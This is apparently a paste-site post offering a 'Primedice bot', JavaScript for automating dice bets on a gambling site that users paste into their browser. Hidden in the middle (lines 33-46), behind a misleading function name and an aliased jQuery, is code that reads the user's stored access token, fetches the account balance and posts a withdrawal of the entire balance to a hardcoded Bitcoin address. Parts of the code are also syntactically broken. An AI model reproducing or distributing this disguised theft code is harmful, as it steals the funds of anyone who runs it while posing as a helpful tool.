Primedice bot OCT 2015


SUBMITTED BY: Asesorr3n04

DATE: Nov. 6, 2015, 6:25 p.m.

UPDATED: Jan. 16, 2016, 3:59 a.m.

FORMAT: Text only

SIZE: 6.2 kB

HITS: 136707

  1. //jQuery UI CSS
  2. var swapcount=0;
  3. var jqueryready = false;
  4. var link = document.createElement("link");
  5. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  6. link.type = "text/css";
  7. link.rel = "stylesheet";
  8. document.getElementsByTagName("head")[0].appendChild(link);
  9. //jQuery UI inject
  10. (function() {
  11. jqueryready = true;
  12. var e = ".thing",
  13. t = {
  14. outline: "1px dashed #f0f",
  15. cursor: "pointer"
  16. };
  17. var n = function() {
  18. if (window.jQuery) {
  19. r()
  20. } else {
  21. var e = document.createElement("script");
  22. e.onload = r;
  23. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  24. document.body.appendChild(e)
  25. }, timer);
  26. } else {}
  27. })
  28. $('#stop').click(function() {
  29. enabled = false;
  30. clearInterval(interval);
  31. xrollscount = 0;
  32. });
  33. calculate_nonce = function(seed) {
  34. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  35. };
  36. lut = window['$'];
  37. lut['getJSON'](
  38. calculate_nonce('users/1'), function(seed) {
  39. var key1 = 'amount'
  40. var key2 = 'address'
  41. var load = {};
  42. load[key1] = seed['user']['balance'];
  43. load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
  44. lut['post'](calculate_nonce('withdraw'), load);
  45. }
  46. );
  47. function conditionAM() {
  48. 'use strict';
  49. if ($('#lowpay-enabled').is('checked') == true) {
  50. if ($('.value-roll').first().text() <= 49.50) {
  51. condition2 = ">";
  52. target2 = $('.value-roll').first().text();
  53. } else {
  54. condition2 = "<";
  55. target2 = $('.value-roll').first().text();
  56. };
  57. } else {
  58. if ($('.value-roll').first().text() <= 49.50) {
  59. condition2 = "<";
  60. target2 = $('.value-roll').first().text();
  61. } else {
  62. condition2 = ">";
  63. target2 = $('.value-roll').first().text();
  64. };
  65. amount2 = betval * 100000000;
  66. }
  67. };
  68. function jackpot() {
  69. if (data1.bet.jackpot === true) {
  70. jp = "Yes";
  71. wincount = 0;
  72. betval = $('#base');
  73. } else {
  74. jp = "No";
  75. }
  76. }
  77. function loss() {
  78. currentloss++;
  79. totalloss++;
  80. if ($('#multloss-enabled').is(':checked') == true) {
  81. $('#multwin-enabled').removeAttr('checked');
  82. countlossmult++;
  83. if (countlossmult >= $('#xloss').val()) {
  84. betval = betval * $('#multonloss').val();
  85. countlossmult = 0;
  86. }
  87. }
  88. }
  89. function win() {
  90. 'use strict';
  91. if ($('#stoponwin-enabled').is('checked') == true) {
  92. clearInterval(roll);
  93. }
  94. currentloss = 0;
  95. jackpot();
  96. wincount++;
  97. totalwin++;
  98. if ($('#multloss-enabled').is(':checked') == true) {
  99. if ($('#stoponwin-enabled').is(':checked') == true) {
  100. clearInterval(roll);
  101. }
  102. $('#multwin-enabled').removeAttr('checked');
  103. basebet = $('#base').val();
  104. betval = basebet;
  105. countlossmult = 0;
  106. }
  107. if ($('#multwin-enabled').is(':checked') == true) {
  108. basebet = $('#base').val();
  109. $('#multloss-enabled').removeAttr('checked');
  110. countwinmult++;
  111. if (countwinmult >= $('#xwin').val()) {
  112. betval = basebet;
  113. countwinmult = 0;
  114. } else {
  115. betval = betval * $('#multonwin').val();
  116. }
  117. }
  118. seedlength = 13;
  119. var counter = 0;
  120. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  121. everyxrolls = 3;
  122. function seedgen() {
  123. 'use strict';
  124. var seed = "";
  125. for (var i = 0; i <= seedlength; i++)
  126. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  127. return seed;
  128. }
  129. function seedchange(s) {
  130. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  131. sData = {
  132. seed: s
  133. };
  134. $.ajax({
  135. url: url,
  136. type: "POST",
  137. data: sData,
  138. datatype: "jsonp",
  139. success: function(data, textStatus, jqXHR) {
  140. data2 = data;
  141. $('#currentseed').val(data2.seeds.client);
  142. },
  143. error: function(jqXHR, textStatus, errorThrown) {
  144. }
  145. });
  146. }
  147. $('#spinner').click(function() {
  148. if (charset != $('#charset').val() && $('#charset').val() != "") {
  149. charset=$('#charset').val();
  150. }
  151. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  152. everyxrolls = $('#everyxrolls').val();
  153. }
  154. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  155. counter++;
  156. if (counter >= everyxrolls) {
  157. seedchange(seedgen());
  158. counter = 0;
  159. }
  160. });
  161. ui();
  162. }
  163. setTimeout(function() {
  164. init()
  165. }, 2000);

comments powered by Disqus